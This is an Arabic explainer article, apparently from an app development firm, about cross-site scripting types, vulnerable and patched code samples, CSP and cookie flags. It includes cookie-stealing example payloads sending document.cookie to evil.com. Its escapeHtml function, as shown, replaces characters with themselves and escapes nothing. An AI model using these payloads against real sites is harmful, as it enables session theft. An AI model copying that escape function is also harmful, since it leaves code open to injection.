XSS (Cross-Site Scripting) هو نوع من ثغرات تطبيقات الويب حيث يقوم المهاجم بحقن كود JavaScript ضار في المحتوى المعروض للمستخدمين الآخرين. وفقًا لـ OWASP Top Ten (2025)، لا يزال XSS أحد أكثر الثغرات شيوعًا، حيث يؤثر على أكثر من 60% من تطبيقات الويب. Cross-Site Scripting يسمح بسرقة ملفات تعريف الارتباط الخاصة بالجلسة، وإعادة توجيه المستخدمين إلى مواقع التصيد، وتعديل محتوى الصفحات في الوقت الفعلي.
الخلاصة
XSS (Cross-Site Scripting) هي ثغرة تسمح للمهاجم بحقن كود JavaScript في صفحة ويب، يتم تنفيذها بعد ذلك في متصفح الضحية. يقوم المتصفح بتحميل الصفحة من موقع ويب موثوق به وينفذ البرنامج النصي المحقون بنفس صلاحيات الكود الشرعي للموقع. وهذا يعطي المهاجم إمكانية الوصول إلى ملفات تعريف الارتباط، وتخزين الجلسة، وشجرة DOM للصفحة، والقدرة على إرسال الطلبات نيابة عن الضحية. تحدث ثغرات XSS عندما يقوم التطبيق بإدراج بيانات المستخدم في صفحة HTML بدون ترميز مناسب أو تحقق.
ظهر مصطلح Cross-Site Scripting لأول مرة في عام 2000 في نشرة أمنية من Microsoft. على مدى 25 عامًا الماضية، لم يفقد XSS أهميته: وفقًا لـ HackerOne (2025)، يشكل XSS حوالي 22% من جميع الثغرات المسجلة على المنصة. سبب استمرارية XSS هو صعوبة التحكم في جميع نقاط دخول بيانات المستخدم. أي حقل إدخال، أو معلمة URL، أو رأس طلب HTTP، أو اسم ملف يمكن أن يصبح ناقل هجوم إذا انعكست البيانات في كود HTML بدون معالجة.
يمكن أن تؤدي هجمات XSS إلى سرقة ملفات تعريف الارتباط الخاصة بالجلسة، مما يسمح للمهاجم بتسجيل الدخول إلى حساب الضحية بدون كلمة مرور. تشمل العواقب الأخرى: إعادة التوجيه إلى مواقع التصيد، وتغيير محتوى الصفحة، وسرقة البيانات الشخصية، وتثبيت البرامج الضارة (drive-by download). في عام 2023، أثر هجوم XSS على منصة Salesforce Community Cloud على بيانات آلاف العملاء المؤسسيين، مما أظهر أنه حتى المنصات الكبيرة ليست محصنة ضد هذه الثغرة.
يقسم تصنيف XSS الهجمات إلى ثلاثة أنواع رئيسية حسب طريقة توصيل الكود الضار. كل نوع يتطلب نهجًا مختلفًا للحماية: Stored XSS يتم منعه بترميز المخرجات من قاعدة البيانات، Reflected — بترميز معلمات URL، DOM-based — بالعمل الآمن مع DOM API. فهم الفرق هو أساس استراتيجية أمنية فعالة.
| النوع | تخزين البرنامج النصي | ناقل التوصيل | صعوبة الاكتشاف |
|---|---|---|---|
| Stored XSS | قاعدة بيانات الخادم | التعليقات، الملفات الشخصية، الرسائل | متوسطة |
| Reflected XSS | معلمات URL | روابط التصيد، البريد الإلكتروني | عالية |
| DOM-based XSS | JavaScript من جانب العميل | أجزاء URL، postMessage | عالية جدًا |
أخطر أنواع XSS. يقوم المهاجم بحقن برنامج نصي في بيانات يخزنها الخادم في قاعدة بيانات ويعرضها مع كل تحميل للصفحة. الناقل النموذجي هو حقل التعليق: ينشر المهاجم تعليقًا يحتوي على <script>document.location='https://evil.com/?c='+document.cookie</script>. كل مستخدم يقوم بتحميل الصفحة بهذا التعليق يرسل ملفات تعريف الارتباط الخاصة به إلى المهاجم. لا يتطلب Stored XSS أي إجراء من الضحية سوى زيارة الصفحة — مما يجعله خطيرًا بشكل خاص على شبكات التواصل الاجتماعي والمنتديات والمدونات.
يتم تمرير البرنامج النصي الضار في طلب HTTP (عادة في معلمة URL) ويعكسه الخادم فورًا في الاستجابة. يقوم المهاجم بإنشاء رابط مثل https://example.com/search?q=<script>...</script> ويوزعه عبر التصيد أو شبكات التواصل الاجتماعي أو البريد الإلكتروني. الضحية، عند النقر على الرابط، تتلقى صفحة حيث يتم عرض استعلام البحث المُدخل (البرنامج النصي) بدون ترميز. يتطلب Reflected XSS هندسة اجتماعية — يجب على الضحية النقر على الرابط، مما يقلل ولكنه لا يزيل الخطر.
على عكس Stored وReflected، لا يتطلب DOM-based XSS إرسال بيانات إلى الخادم. تنشأ الثغرة عندما يقوم JavaScript من جانب العميل بإدراج بيانات المستخدم من URL أو document.referrer أو postMessage أو localStorage في DOM بدون معالجة آمنة. على سبيل المثال، كود مثل document.getElementById('output').innerHTML = location.hash.substring(1) ينفذ أي HTML وبرامج نصية من جزء URL (#<img onerror='...'>). DOM-based XSS هو الأصعب في الاكتشاف لأن الخادم لا يتلقى الحمولة الضارة أبدًا — تتم معالجتها بالكامل على العميل.
// مثال DOM-based XSS (كود ضعيف)
// إذا كان userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — خطير: يُدرج HTML خام
document.write('<div>' + userInput + '</div>');
// البديل الآمن — استخدم textContent
document.getElementById('output').textContent = userInput;
تستغل XSS خاصية أساسية للويب: يقوم المتصفح بتنفيذ JavaScript المستلم من نطاق موثوق. إذا وجد المهاجم طريقة لحقن كوده في استجابة HTML للخادم، ينفذه المتصفح بنفس الصلاحيات التي يتمتع بها الكود الشرعي. تمر الهجمة بثلاث مراحل: حقن الكود الضار في المحتوى، توصيل المحتوى إلى متصفح الضحية، وتنفيذ الكود مع الوصول إلى DOM وملفات تعريف الارتباط والتخزين.
يجد المهاجم نقطة دخول — حقل أو معلمة URL أو رأس يتم تضمين قيمته من قبل الخادم في استجابة HTML بدون ترميز. تشمل نقاط الدخول النموذجية: أشرطة البحث، حقول التعليقات، اسم المستخدم، URL الصورة الرمزية، ملفات تعريف الارتباط، رؤوس HTTP (User-Agent، Referer). الأطر الحديثة (React، Angular، Vue) تقوم بترميز المخرجات تلقائيًا، لكن المطورين يمكنهم تعطيل الترميز عبر dangerouslySetInnerHTML أو bypassSecurityTrustHtml أو v-html.
بالنسبة لـ Reflected XSS، يقوم المهاجم بتوزيع الرابط الضار. بالنسبة لـ Stored XSS، يكفي نشر المحتوى على الموقع المستهدف، ويصبح كل زائر للصفحة ضحية. يتم تنشيط DOM-based XSS عند تحميل الصفحة بجزء URL معين. يمكن أتمتة المراحل الثلاث: إذا تم اكتشاف XSS في لافتة إعلانية (محتوى طرف ثالث)، فسيؤثر الهجوم على جميع مستخدمي الموقع حتى تتم إزالة اللافتة.
// مثال Reflected XSS في البحث (خادم خلفي ضعيف)
// بدلاً من ترميز المعامل q، يقوم الخادم بإدراجه في HTML
// Express.js — معالج ضعيف:
app.get('/search', (req, res) => {
const query = req.query.q; // إدخال المستخدم
res.send(`<h1>Results for: ${query}</h1>`);
});
// الإصدار الآمن — الترميز عبر encodeURI أو محرك القوالب:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
التطبيقات المحمولة أيضًا عرضة لهجمات XSS، وإن كان بدرجة أقل من مواقع الويب. الناقل الرئيسي هو WebView والأطر الهجينة (Cordova، Capacitor، React Native مع WebView). إذا قام التطبيق بتحميل محتوى ويب في WebView — خاصة محتوى المستخدم (بريد HTML الإلكتروني، المقالات، الرسائل) — يمكن أن تؤدي ثغرة XSS إلى تنفيذ JavaScript داخل التطبيق مع الوصول إلى الوظائف الأصلية عبر جسر JavaScript.
يقوم Android WebView بتنفيذ JavaScript افتراضيًا. إذا قام التطبيق بتحميل سلسلة HTML عبر loadDataWithBaseURL() أو عرض محتوى مستخدم، يمكن أن تعطي هجمة XSS للمهاجم إمكانية الوصول إلى واجهة JavaScript (addJavascriptInterface). حظرت Google استخدام @JavascriptInterface للإصدارات API < 17، لكن الكود القديم في التطبيقات القديمة لا يزال موجودًا. الحماية: قم بتعطيل JavaScript في WebView إذا لم يكن ضروريًا، واستخدم التصفح الآمن.
لا يستخدم React Native WebView لواجهة المستخدم — يتم عرض المكونات في طرق عرض أصلية. ومع ذلك، عند عرض HTML عبر react-native-webview أو مكونات النص المنسق، يعود خطر XSS. يستخدم Flutter محرك العرض الخاص به (Skia) ولا يدعم JavaScript في عناصر HTML واجهة المستخدم (flutter_html لا ينفذ علامات script)، لكن إضافات WebView (webview_flutter) معرضة للخطر بشكل مشابه لـ WebView الأصلية. أفضل ممارسة — لا تمرر أبدًا HTML غير موثوق إلى WebView.
// تكوين WebView آمن في Android
val webView = findViewById<WebView>(R.id.webview)
// تعطيل JavaScript إذا لم تكن التفاعلية مطلوبة
webView.settings.javaScriptEnabled = false
// تعقيم HTML قبل التحميل
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
تعتمد الحماية من XSS على ثلاثة مبادئ: لا تثق في إدخال المستخدم، قم بالترميز قبل الإخراج، استخدم Content Security Policy. ترميز المخرجات هو أهم طريقة: يجب ترميز جميع البيانات المستلمة من المستخدم قبل إدراجها في HTML أو JavaScript أو CSS أو URL. تقوم محركات القوالب الحديثة (Twig، Handlebars، JSX، Blade) بذلك تلقائيًا ما لم يقم المطور بتعطيل الترميز بطرق خاصة.
يعتمد الترميز على سياق إدراج البيانات. في سياق HTML، يتم ترميز < و> و& وعلامات الاقتباس. في سياق JavaScript، يتم ترميز علامات الاقتباس الخلفية و
و</script>. في سياق CSS — أحرف التحكم. في سياق URL — ترميز URL. خطأ في السياق — على سبيل المثال، إدراج سلسلة مشفرة لـ HTML في سمة onclick — لا يحمي من XSS لأن onclick يتم تنفيذه في سياق JavaScript حيث يلزم ترميز مختلف.
CSP هو رأس HTTP يحدد المصادر التي يمكن للمتصفح تحميل البرامج النصية والأنماط والموارد الأخرى منها. CSP صارمة (بدون unsafe-inline، بدون unsafe-eval) تمنع تنفيذ أي برامج نصية مضمنة، بما في ذلك ناقلات XSS. وفقًا لـ Google Security Blog (2025)، المواقع التي تستخدم CSP تمنع 95% من هجمات XSS. مثال: Content-Security-Policy: default-src 'self'; script-src 'self' يحظر أي برامج نصية خارجية ومضمنة. لا تحمي CSP من Stored XSS إذا تم تحميل البرنامج النصي من نفس النطاق، لكن هذا يتطلب جهدًا إضافيًا من المهاجم.
تعيين علامة HttpOnly لملفات تعريف الارتباط يمنع الوصول إليها عبر JavaScript (document.cookie)، مما يمنع سرقة ملفات تعريف الارتباط الخاصة بالجلسة عبر XSS. تضمن علامة Secure أن يتم إرسال ملف تعريف الارتباط فقط عبر HTTPS. مجموعة HttpOnly + Secure + SameSite=Lax تجعل سرقة ملفات تعريف الارتباط الخاصة بالجلسة عبر XSS مستحيلة عمليًا. ومع ذلك، لا يزال بإمكان XSS تنفيذ إجراءات نيابة عن المستخدم (مثل إرسال الطلبات)، لذا فإن HttpOnly ليس حلاً سحريًا بل جزء من دفاع شامل.
| طريقة الحماية | تحمي من أنواع XSS | الفعالية |
|---|---|---|
| ترميز المخرجات | Stored، Reflected، DOM-based | 99% |
| CSP | XSS مضمن، قائم على eval | 95% |
| HttpOnly cookie | سرقة الجلسة عبر XSS | 100% (غير قابل للقراءة) |
| التحقق من الإدخال | Stored، Reflected | 50% (يعتمد على النوع) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
الاختبار المنتظم لـ XSS هو جزء إلزامي من خط أنابيب CI/CD للتطوير الآمن. تجد الماسحات الآلية ما يصل إلى 80% من ثغرات XSS؛ والباقي يتطلب اختبار اختراق يدوي. أفضل نهج هو مزيج من التحليل SAST (الثابت) وفحص DAST (الديناميكي) ومراجعة الكود مع التركيز على نقاط إدخال بيانات المستخدم.
للتطبيقات المحمولة، يتضمن اختبار XSS تحليل WebView: التحقق من واجهات JavaScript، ومعالجة مخططات URL، وتمرير HTML إلى loadDataWithBaseURL. يُوصى أيضًا باختبار معالجة postMessage في التطبيقات الهجينة والتحقق من البيانات المنقولة عبر جسر JavaScript. استخدم محاكيًا مع وكيل (Burp Suite) لاعتراض وتعديل حركة مرور التطبيق المحمول.
الأسئلة الشائعة
يخزن Stored XSS البرنامج النصي الضار على الخادم (في قاعدة البيانات) ويتم تنشيطه مع كل تحميل للصفحة. يمرر Reflected XSS البرنامج النصي عبر معلمة URL، ويتم تنشيط الهجوم فقط عند النقر على الرابط الضار. Stored أكثر خطورة لأنه لا يتطلب أي إجراء من الضحية — يكفي فقط فتح الصفحة المصابة.
لا، HTTPS لا يحمي من XSS. HTTPS يشفر حركة المرور بين المتصفح والخادم، لكنه لا يؤثر على معالجة إدخال المستخدم على جانب الخادم. توجد ثغرة XSS على مستوى التطبيق، وليس النقل. HTTPS هو حد أدنى إلزامي للأمان، لكنه ليس دفاعًا ضد XSS.
في معظم الحالات، يتم تنفيذ XSS داخل صندوق الحماية للمتصفح أو WebView وليس لديه إمكانية الوصول إلى نظام الملفات أو أجهزة الجهاز. ومع ذلك، في Android WebView مع تمكين واجهة JavaScript، يمكن للبرنامج النصي XSS استدعاء طرق التطبيق الأصلية. في iOS، يمكن لـ WKWebView أيضًا كشف البيانات عبر JavaScriptCore إذا تم تكوين الجسر المناسب.
استخدم Burp Suite أو OWASP ZAP مع وكيل مهيأ على الجهاز المحمول. اعترض طلبات التطبيق، وعدّل المعلمات، وأرسل حمولات XSS. تحقق من WebView لمعالجة HTML عبر loadDataWithBaseURL ووجود جسور JavaScript. لـ React Native، اختبر مكونات WebView بشكل منفصل.
DOM-based XSS هو هجوم حيث JavaScript على الصفحة نفسه يأخذ البيانات من URL أو مصادر أخرى ويدرجها في HTML بدون تحقق. الخادم لا يشارك — تتم معالجة الكود الضار بالكامل في المتصفح. مثال نموذجي: موقع يأخذ نصًا من location.hash ويدرجه عبر innerHTML، مما يسمح بتنفيذ أي كود HTML.
الملخص
سنقوم بتطوير تطبيق جوال جاهز
تقدم IT Sectr تطبيقات iOS وAndroid للشركات الناشئة والشركات منذ عام 2017. سوف نقدم لك النصح ونقترح أفضل حل.
اقرأ أيضًا